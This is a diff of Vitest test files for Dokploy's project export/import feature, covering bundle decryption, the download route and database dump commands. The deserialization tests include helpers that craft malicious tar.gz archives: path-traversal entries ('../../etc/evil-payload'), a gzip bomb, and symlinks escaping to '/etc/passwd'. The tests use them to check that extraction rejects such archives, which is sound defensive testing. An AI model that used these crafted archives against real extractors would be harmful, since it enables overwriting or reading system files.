postgresId: "pg-1",
|
||||
name: "my-db",
|
||||
appName: "my-db-xyz789",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
databasePassword: "realdbpassword123",
|
||||
serverId: null,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application],
|
||||
postgres: [postgres],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: { findFirst: async () => projectTree },
|
||||
environments: { findFirst: async () => undefined },
|
||||
applications: { findMany: async () => [application] },
|
||||
schedules: { findMany: async () => [] },
|
||||
volumeBackups: { findMany: async () => [] },
|
||||
vaultProvider: { findMany: async () => [] },
|
||||
registry: { findMany: async () => [], findFirst: async () => undefined },
|
||||
destinations: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const ustarHeader = (name: string, size: number): Buffer => {
|
||||
const header = Buffer.alloc(512);
|
||||
header.write(name, 0, "utf8");
|
||||
header.write("0000777\0", 100, "utf8");
|
||||
header.write("0000000\0", 108, "utf8");
|
||||
header.write("0000000\0", 116, "utf8");
|
||||
header.write(`${size.toString(8).padStart(11, "0")}\0`, 124, "utf8");
|
||||
header.write(
|
||||
`${Math.floor(Date.now() / 1000)
|
||||
.toString(8)
|
||||
.padStart(11, "0")}\0`,
|
||||
136,
|
||||
"utf8",
|
||||
);
|
||||
header.write(" ", 148, "utf8");
|
||||
header.write("0", 156, "utf8");
|
||||
header.write("ustar\0", 257, "utf8");
|
||||
header.write("00", 263, "utf8");
|
||||
let checksum = 0;
|
||||
for (const byte of header) checksum += byte;
|
||||
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
|
||||
return header;
|
||||
};
|
||||
|
||||
const buildMaliciousTarGz = (entryName: string, content: Buffer): Buffer => {
|
||||
const header = ustarHeader(entryName, content.length);
|
||||
const padded = Buffer.concat([
|
||||
content,
|
||||
Buffer.alloc((512 - (content.length % 512)) % 512),
|
||||
]);
|
||||
const archive = Buffer.concat([header, padded, Buffer.alloc(1024)]);
|
||||
return gzipSync(archive);
|
||||
};
|
||||
|
||||
const ustarSymlinkHeader = (name: string, linkTarget: string): Buffer => {
|
||||
const header = Buffer.alloc(512);
|
||||
header.write(name, 0, "utf8");
|
||||
header.write("0000777\0", 100, "utf8");
|
||||
header.write("0000000\0", 108, "utf8");
|
||||
header.write("0000000\0", 116, "utf8");
|
||||
header.write(`${(0).toString(8).padStart(11, "0")}\0`, 124, "utf8");
|
||||
header.write(
|
||||
`${Math.floor(Date.now() / 1000)
|
||||
.toString(8)
|
||||
.padStart(11, "0")}\0`,
|
||||
136,
|
||||
"utf8",
|
||||
);
|
||||
header.write(" ", 148, "utf8");
|
||||
header.write("2", 156, "utf8");
|
||||
header.write(linkTarget, 157, "utf8");
|
||||
header.write("ustar\0", 257, "utf8");
|
||||
header.write("00", 263, "utf8");
|
||||
let checksum = 0;
|
||||
for (const byte of header) checksum += byte;
|
||||
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
|
||||
return header;
|
||||
};
|
||||
|
||||
const buildSymlinkTarGz = (entryName: string, linkTarget: string): Buffer => {
|
||||
const header = ustarSymlinkHeader(entryName, linkTarget);
|
||||
const archive = Buffer.concat([header, Buffer.alloc(1024)]);
|
||||
return gzipSync(archive);
|
||||
};
|
||||
|
||||
let workDir: string;
|
||||
let outDir: string;
|
||||
let bundlePath: string;
|
||||
|
||||
const buildBundle = async () => {
|
||||
const db = fakeDb();
|
||||
const captureResult = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
{
|
||||
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
|
||||
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
|
||||
},
|
||||
);
|
||||
|
||||
await serialize(
|
||||
{
|
||||
resources: captureResult.resources,
|
||||
inventory: captureResult.inventory,
|
||||
requirements: captureResult.requirements,
|
||||
warnings: captureResult.warnings,
|
||||
dumps: [],
|
||||
scope: baseScope,
|
||||
organizationId: "org-1",
|
||||
dokployVersion: "1.0.0-test",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
},
|
||||
captureResult.secretsPlain,
|
||||
PASSPHRASE,
|
||||
local(workDir),
|
||||
local(bundlePath),
|
||||
);
|
||||
};
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-deser-work-"));
|
||||
outDir = await mkdtemp(join(tmpdir(), "transfer-deser-out-"));
|
||||
bundlePath = join(outDir, "bundle.dokploy.tar.gz");
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
await rm(outDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("deserialize: inspectBundle + unlockBundle", () => {
|
||||
it("round-trips the exact snapshot through inspect + unlock", async () => {
|
||||
await buildBundle();
|
||||
|
||||
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
|
||||
try {
|
||||
const inspected = await inspectBundle(
|
||||
local(bundlePath),
|
||||
local(extractDir),
|
||||
);
|
||||
expect(inspected.manifest.sourceInstance.organizationId).toBe("org-1");
|
||||
expect(inspected.inventory.totals.application).toBe(1);
|
||||
expect(Array.isArray(inspected.requirements)).toBe(true);
|
||||
expect(Array.isArray(inspected.warnings)).toBe(true);
|
||||
|
||||
expect(existsSync(join(extractDir, "resources"))).toBe(false);
|
||||
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
|
||||
expect(unlocked.snapshot.manifest).toEqual(inspected.manifest);
|
||||
expect(existsSync(join(extractDir, "payload.enc"))).toBe(false);
|
||||
expect(existsSync(join(extractDir, "secrets.json"))).toBe(false);
|
||||
expect(unlocked.snapshot.resources.project).toMatchObject({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(unlocked.snapshot.resources.environments).toHaveLength(1);
|
||||
|
||||
const decryptedValues = Array.from(unlocked.secretsPlain.values());
|
||||
expect(decryptedValues).toContain("realdbpassword123");
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
}, 30_000);
|
||||
|
||||
it("throws TransferCryptoError on a wrong passphrase", async () => {
|
||||
await buildBundle();
|
||||
|
||||
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
|
||||
try {
|
||||
await inspectBundle(local(bundlePath), local(extractDir));
|
||||
await expect(
|
||||
unlockBundle(local(extractDir), "totally-wrong-passphrase-here"),
|
||||
).rejects.toThrow(TransferCryptoError);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("throws TransferCryptoError when the encrypted payload is tampered with", async () => {
|
||||
await buildBundle();
|
||||
|
||||
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
|
||||
try {
|
||||
await inspectBundle(local(bundlePath), local(extractDir));
|
||||
const payloadPath = join(extractDir, "payload.enc");
|
||||
const bytes = await readFile(payloadPath);
|
||||
const middle = Math.floor(bytes.length / 2);
|
||||
bytes[middle] = (bytes[middle] ?? 0) ^ 0xff;
|
||||
await writeFile(payloadPath, bytes);
|
||||
|
||||
await expect(unlockBundle(local(extractDir), PASSPHRASE)).rejects.toThrow(
|
||||
TransferCryptoError,
|
||||
);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a tar entry that attempts path traversal", async () => {
|
||||
const maliciousBundle = join(outDir, "evil.dokploy.tar.gz");
|
||||
await writeFile(
|
||||
maliciousBundle,
|
||||
buildMaliciousTarGz("../../etc/evil-payload", Buffer.from("evil")),
|
||||
);
|
||||
|
||||
const extractDir = await mkdtemp(
|
||||
join(tmpdir(), "transfer-deser-extract-evil-"),
|
||||
);
|
||||
try {
|
||||
await expect(
|
||||
inspectBundle(local(maliciousBundle), local(extractDir)),
|
||||
).rejects.toThrow(/unsafe path/i);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a gzip bomb before extracting anything", async () => {
|
||||
const bomb = join(outDir, "bomb.dokploy.tar.gz");
|
||||
await writeFile(
|
||||
bomb,
|
||||
buildMaliciousTarGz("manifest.json", Buffer.alloc(1024 * 1024)),
|
||||
);
|
||||
|
||||
const extractDir = await mkdtemp(
|
||||
join(tmpdir(), "transfer-deser-extract-bomb-"),
|
||||
);
|
||||
try {
|
||||
await expect(
|
||||
inspectBundle(local(bomb), local(extractDir), {
|
||||
maxDecompressedBytes: 64 * 1024,
|
||||
}),
|
||||
).rejects.toThrow(/decompressed size/);
|
||||
expect(existsSync(join(extractDir, "manifest.json"))).toBe(false);
|
||||
// A post-extraction failure removes the directory; the pre-check never touches it.
|
||||
expect(existsSync(extractDir)).toBe(true);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects an escaping symlink even when its name contains a tab", async () => {
|
||||
const maliciousBundle = join(outDir, "evil-tab-symlink.dokploy.tar.gz");
|
||||
await writeFile(
|
||||
maliciousBundle,
|
||||
buildSymlinkTarGz("x\ty", "../../../../etc"),
|
||||
);
|
||||
|
||||
const extractDir = await mkdtemp(
|
||||
join(tmpdir(), "transfer-deser-extract-tab-"),
|
||||
);
|
||||
try {
|
||||
await expect(
|
||||
inspectBundle(local(maliciousBundle), local(extractDir)),
|
||||
).rejects.toThrow(/unsafe symlink/i);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a symlink entry whose target escapes workDir", async () => {
|
||||
const maliciousBundle = join(outDir, "evil-symlink.dokploy.tar.gz");
|
||||
await writeFile(
|
||||
maliciousBundle,
|
||||
buildSymlinkTarGz("innocuous-name.txt", "../../../../etc/passwd"),
|
||||
);
|
||||
|
||||
const extractDir = await mkdtemp(
|
||||
join(tmpdir(), "transfer-deser-extract-symlink-"),
|
||||
);
|
||||
try {
|
||||
await expect(
|
||||
inspectBundle(local(maliciousBundle), local(extractDir)),
|
||||
).rejects.toThrow(/unsafe symlink/i);
|
||||
} finally {
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,316 @@
|
||||
import { mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import { PassThrough, Readable } from "node:stream";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const { errorPathBox } = vi.hoisted(() => ({ errorPathBox: { value: "" } }));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/utils/process/remoteStream",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/remoteStream")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
openProcessStream: async (serverId: string | null, command: string) => {
|
||||
if (errorPathBox.value && command.includes(errorPathBox.value)) {
|
||||
const stdout = new Readable({ read() {} });
|
||||
process.nextTick(() => {
|
||||
stdout.emit("error", new Error("simulated read failure"));
|
||||
});
|
||||
return {
|
||||
stdin: new PassThrough(),
|
||||
stdout,
|
||||
stderr: new PassThrough(),
|
||||
exit: Promise.resolve(1),
|
||||
close: () => {},
|
||||
};
|
||||
}
|
||||
return actual.openProcessStream(serverId, command);
|
||||
},
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
let sessionToReturn: {
|
||||
session: { activeOrganizationId: string } | null;
|
||||
user: { id: string } | null;
|
||||
} = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
|
||||
vi.mock("@dokploy/server/lib/auth", () => ({
|
||||
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
|
||||
}));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const {
|
||||
createExportJob,
|
||||
issueDownloadToken,
|
||||
updateExportJob,
|
||||
peekDownloadToken,
|
||||
assertTransferPermission,
|
||||
} = await import("@dokploy/server/services/project-export-import");
|
||||
const handler = (
|
||||
await import("../../pages/api/project-export-import/download/[token]")
|
||||
).default;
|
||||
|
||||
let root: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-download-route-"));
|
||||
errorPathBox.value = "";
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const buildReq = (
|
||||
method: string,
|
||||
token: string,
|
||||
): { method: string; query: { token: string } } => ({
|
||||
method,
|
||||
query: { token },
|
||||
});
|
||||
|
||||
const buildRes = () => {
|
||||
const stream = new PassThrough() as unknown as {
|
||||
statusCode: number;
|
||||
status: (code: number) => typeof stream;
|
||||
json: (body: unknown) => typeof stream;
|
||||
jsonBody?: unknown;
|
||||
setHeader: (key: string, value: unknown) => void;
|
||||
headers: Record<string, unknown>;
|
||||
} & PassThrough;
|
||||
stream.statusCode = 200;
|
||||
stream.headers = {};
|
||||
stream.status = vi.fn((code: number) => {
|
||||
stream.statusCode = code;
|
||||
return stream;
|
||||
}) as typeof stream.status;
|
||||
stream.json = vi.fn((body: unknown) => {
|
||||
stream.jsonBody = body;
|
||||
return stream;
|
||||
}) as typeof stream.json;
|
||||
stream.setHeader = vi.fn((key: string, value: unknown) => {
|
||||
stream.headers[key] = value;
|
||||
});
|
||||
return stream;
|
||||
};
|
||||
|
||||
const drain = (stream: PassThrough): Promise<Buffer> =>
|
||||
new Promise((resolve, reject) => {
|
||||
const chunks: Buffer[] = [];
|
||||
stream.on("data", (chunk) => chunks.push(chunk as Buffer));
|
||||
stream.on("end", () => resolve(Buffer.concat(chunks)));
|
||||
stream.on("error", reject);
|
||||
});
|
||||
|
||||
describe("transfer download route", () => {
|
||||
it("rejects unauthenticated requests", async () => {
|
||||
sessionToReturn = { session: null, user: null };
|
||||
const req = buildReq("GET", "any-token");
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(401);
|
||||
});
|
||||
|
||||
it("rejects an unknown token", async () => {
|
||||
const req = buildReq("GET", "does-not-exist");
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(404);
|
||||
});
|
||||
|
||||
it("rejects a non-owner/admin caller with a valid, same-org token", async () => {
|
||||
const job = createExportJob("export-forbidden-1", "user-1", "org-1");
|
||||
job.status = "done";
|
||||
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
|
||||
const token = issueDownloadToken("export-forbidden-1") as string;
|
||||
|
||||
(assertTransferPermission as any).mockRejectedValueOnce(
|
||||
new (await import("@trpc/server")).TRPCError({
|
||||
code: "FORBIDDEN",
|
||||
message: "Only organization owners and admins can do that",
|
||||
}),
|
||||
);
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(403);
|
||||
expect(assertTransferPermission).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("rejects a token belonging to another organization", async () => {
|
||||
const job = createExportJob("export-1", "user-1", "org-2");
|
||||
job.status = "done";
|
||||
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
|
||||
const token = issueDownloadToken("export-1") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.statusCode).toBe(404);
|
||||
});
|
||||
|
||||
it("streams the bundle and invalidates the token on success, keeps it valid on failure retries", async () => {
|
||||
const bundlePath = join(root, "bundle.tar.gz");
|
||||
const content = Buffer.from(
|
||||
"fake bundle bytes, could be large in real life",
|
||||
);
|
||||
await writeFile(bundlePath, content);
|
||||
|
||||
createExportJob("export-2", "user-1", "org-1");
|
||||
updateExportJob("export-2", {
|
||||
status: "done",
|
||||
bundle: { serverId: null, path: bundlePath },
|
||||
});
|
||||
const token = issueDownloadToken("export-2") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
|
||||
const [, received] = await Promise.all([
|
||||
handler(req as any, res as any),
|
||||
drain(res),
|
||||
]);
|
||||
|
||||
expect(received.equals(content)).toBe(true);
|
||||
expect(res.headers["Content-Type"]).toBe("application/gzip");
|
||||
expect(res.headers["Content-Length"]).toBe(content.length);
|
||||
expect(String(res.headers["Content-Disposition"])).toContain(
|
||||
"bundle.tar.gz",
|
||||
);
|
||||
|
||||
await new Promise((resolve) => setTimeout(resolve, 10));
|
||||
expect(peekDownloadToken(token)).toBeUndefined();
|
||||
});
|
||||
|
||||
it("keeps the token valid when the connection closes before the download finishes", async () => {
|
||||
const bundlePath = join(root, "bundle-disconnect.tar.gz");
|
||||
await writeFile(bundlePath, Buffer.alloc(1024 * 1024, 7));
|
||||
|
||||
createExportJob("export-disconnect-1", "user-1", "org-1");
|
||||
updateExportJob("export-disconnect-1", {
|
||||
status: "done",
|
||||
bundle: { serverId: null, path: bundlePath },
|
||||
});
|
||||
const token = issueDownloadToken("export-disconnect-1") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
|
||||
res.once("data", () => {
|
||||
res.destroy();
|
||||
});
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(peekDownloadToken(token)).toBeDefined();
|
||||
});
|
||||
|
||||
it("destroys the response instead of hanging when the source stream errors mid-read", async () => {
|
||||
const bundlePath = join(root, "bundle-error.tar.gz");
|
||||
await writeFile(bundlePath, Buffer.from("will never actually be read"));
|
||||
errorPathBox.value = bundlePath;
|
||||
|
||||
createExportJob("export-error-1", "user-1", "org-1");
|
||||
updateExportJob("export-error-1", {
|
||||
status: "done",
|
||||
bundle: { serverId: null, path: bundlePath },
|
||||
});
|
||||
const token = issueDownloadToken("export-error-1") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
|
||||
await handler(req as any, res as any);
|
||||
|
||||
expect(res.destroyed).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects a GET with a non-string token param", async () => {
|
||||
const req = { method: "GET", query: { token: ["a", "b"] } };
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
expect(res.statusCode).toBe(400);
|
||||
});
|
||||
|
||||
it("rejects non-GET methods", async () => {
|
||||
const req = buildReq("POST", "whatever");
|
||||
const res = buildRes();
|
||||
await handler(req as any, res as any);
|
||||
expect(res.statusCode).toBe(405);
|
||||
});
|
||||
|
||||
it("does not buffer the whole file into memory while streaming a large bundle", async () => {
|
||||
const bundlePath = join(root, "large-bundle.tar.gz");
|
||||
const chunkSize = 1024 * 1024;
|
||||
const chunkCount = 50;
|
||||
const chunk = Buffer.alloc(chunkSize, 7);
|
||||
const { open } = await import("node:fs/promises");
|
||||
const handle = await open(bundlePath, "w");
|
||||
for (let i = 0; i < chunkCount; i++) {
|
||||
await handle.write(chunk);
|
||||
}
|
||||
await handle.close();
|
||||
|
||||
createExportJob("export-large", "user-1", "org-1");
|
||||
updateExportJob("export-large", {
|
||||
status: "done",
|
||||
bundle: { serverId: null, path: bundlePath },
|
||||
});
|
||||
const token = issueDownloadToken("export-large") as string;
|
||||
|
||||
const req = buildReq("GET", token);
|
||||
const res = buildRes();
|
||||
res.resume();
|
||||
|
||||
if (global.gc) {
|
||||
global.gc();
|
||||
}
|
||||
const before = process.memoryUsage().heapUsed;
|
||||
|
||||
await handler(
|
||||
req as unknown as Parameters<typeof handler>[0],
|
||||
res as unknown as Parameters<typeof handler>[1],
|
||||
);
|
||||
|
||||
if (global.gc) {
|
||||
global.gc();
|
||||
}
|
||||
const after = process.memoryUsage().heapUsed;
|
||||
const grew = after - before;
|
||||
|
||||
expect(grew).toBeLessThan((chunkSize * chunkCount) / 2);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,550 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
buildComposeDumpCommand,
|
||||
buildDumpCommand,
|
||||
createDumps,
|
||||
MAX_EMBEDDED_DUMP_BYTES,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
describe("buildDumpCommand", () => {
|
||||
it("builds a postgres dump command using databaseName/databaseUser", () => {
|
||||
const built = buildDumpCommand("postgres", {
|
||||
appName: "pg-one",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "myuser",
|
||||
});
|
||||
expect(built?.ext).toBe("sql.gz");
|
||||
expect(built?.containerSearch).toContain("pg-one");
|
||||
expect(built?.command).toContain("pg_dump");
|
||||
expect(built?.command).toContain("mydb");
|
||||
});
|
||||
|
||||
it("builds a mysql dump command using databaseRootPassword", () => {
|
||||
const built = buildDumpCommand("mysql", {
|
||||
appName: "mysql-one",
|
||||
databaseName: "mydb",
|
||||
databaseRootPassword: "rootpass",
|
||||
});
|
||||
expect(built?.command).toContain("mysqldump");
|
||||
expect(built?.command).toContain("rootpass");
|
||||
});
|
||||
|
||||
it("builds a mariadb dump command using databaseUser + databasePassword", () => {
|
||||
const built = buildDumpCommand("mariadb", {
|
||||
appName: "maria-one",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
});
|
||||
expect(built?.command).toContain("mariadb-dump");
|
||||
});
|
||||
|
||||
it("builds a mongo dump command", () => {
|
||||
const built = buildDumpCommand("mongo", {
|
||||
appName: "mongo-one",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
});
|
||||
expect(built?.ext).toBe("archive.gz");
|
||||
expect(built?.command).toContain("mongodump");
|
||||
expect(built?.command).toContain("--archive --gzip");
|
||||
expect(built?.command).not.toContain("-d ");
|
||||
});
|
||||
|
||||
it("builds a libsql dump command over sqld's iku.db data directory", () => {
|
||||
const built = buildDumpCommand("libsql", { appName: "libsql-one" });
|
||||
expect(built?.ext).toBe("tar.gz");
|
||||
expect(built?.command).toContain("iku.db");
|
||||
expect(built?.command).not.toContain("libsql-one");
|
||||
});
|
||||
|
||||
it("returns undefined for a non-dumpable service type", () => {
|
||||
expect(buildDumpCommand("redis", { appName: "redis-one" })).toBeUndefined();
|
||||
expect(
|
||||
buildDumpCommand("application", { appName: "app-one" }),
|
||||
).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildComposeDumpCommand", () => {
|
||||
it("builds from metadata.mariadb when databaseType is mariadb", () => {
|
||||
const built = buildComposeDumpCommand({
|
||||
appName: "stack-one",
|
||||
serviceName: "db",
|
||||
database: "mydb",
|
||||
databaseType: "mariadb",
|
||||
metadata: { mariadb: { databaseUser: "u", databasePassword: "p" } },
|
||||
});
|
||||
expect(built?.command).toContain("mariadb-dump");
|
||||
expect(built?.containerSearch).toContain("stack-one");
|
||||
});
|
||||
|
||||
it("returns undefined when the matching metadata block is missing", () => {
|
||||
const built = buildComposeDumpCommand({
|
||||
appName: "stack-one",
|
||||
serviceName: "db",
|
||||
database: "mydb",
|
||||
databaseType: "mongo",
|
||||
metadata: {},
|
||||
});
|
||||
expect(built).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const buildTree = (
|
||||
postgres: Record<string, unknown>[],
|
||||
redis: Record<string, unknown>[] = [],
|
||||
) => ({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [],
|
||||
postgres,
|
||||
redis,
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
deployments: { findMany: async () => [] },
|
||||
backups: { findFirst: async () => undefined },
|
||||
...overrides,
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
let workDir: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-dumps-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("createDumps / embed mode", () => {
|
||||
it("writes a dump per dumpable service via the injected runDump and records its size", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
||||
appName: "pg-one",
|
||||
databaseName: "db",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
]);
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_serverId, _cmd, localPath) => {
|
||||
await writeFile(localPath.path, Buffer.alloc(100, 1));
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(warnings).toHaveLength(0);
|
||||
expect(dumps).toEqual([
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "embed",
|
||||
ext: "sql.gz",
|
||||
path: "dumps/pg-1.sql.gz",
|
||||
bytes: 100,
|
||||
},
|
||||
]);
|
||||
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(true);
|
||||
});
|
||||
|
||||
it("notes that admin users are not restored for a mongo dump", async () => {
|
||||
const tree = buildTree([]);
|
||||
tree.environments[0]!.mongo = [
|
||||
{
|
||||
mongoId: "mongo-1",
|
||||
appName: "mongo-one",
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
] as any;
|
||||
|
||||
const { dumps, warnings } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_serverId, _cmd, localPath) => {
|
||||
await writeFile(localPath.path, Buffer.alloc(10, 1));
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(1);
|
||||
expect(warnings.map((w) => w.code)).toEqual([
|
||||
"MONGO_ADMIN_USERS_NOT_RESTORED",
|
||||
]);
|
||||
});
|
||||
|
||||
it("skips redis (no dump mechanism)", async () => {
|
||||
const tree = buildTree(
|
||||
[],
|
||||
[
|
||||
{
|
||||
redisId: "redis-1",
|
||||
appName: "redis-one",
|
||||
serverId: null,
|
||||
backups: [],
|
||||
},
|
||||
],
|
||||
);
|
||||
|
||||
const { dumps } = await createDumps(
|
||||
fakeDb(),
|
||||
tree as any,
|
||||
baseScope,
|
||||
local(workDir),
|
||||
{
|
||||
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
|
||||
},
|
||||
);
|
||||
|
||||
expect(dumps).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("does nothing when dumps.mode is none", async () => {
|
||||
const tree = buildTree([
|
||||
{
|
||||
postgresId: "pg-1",
|
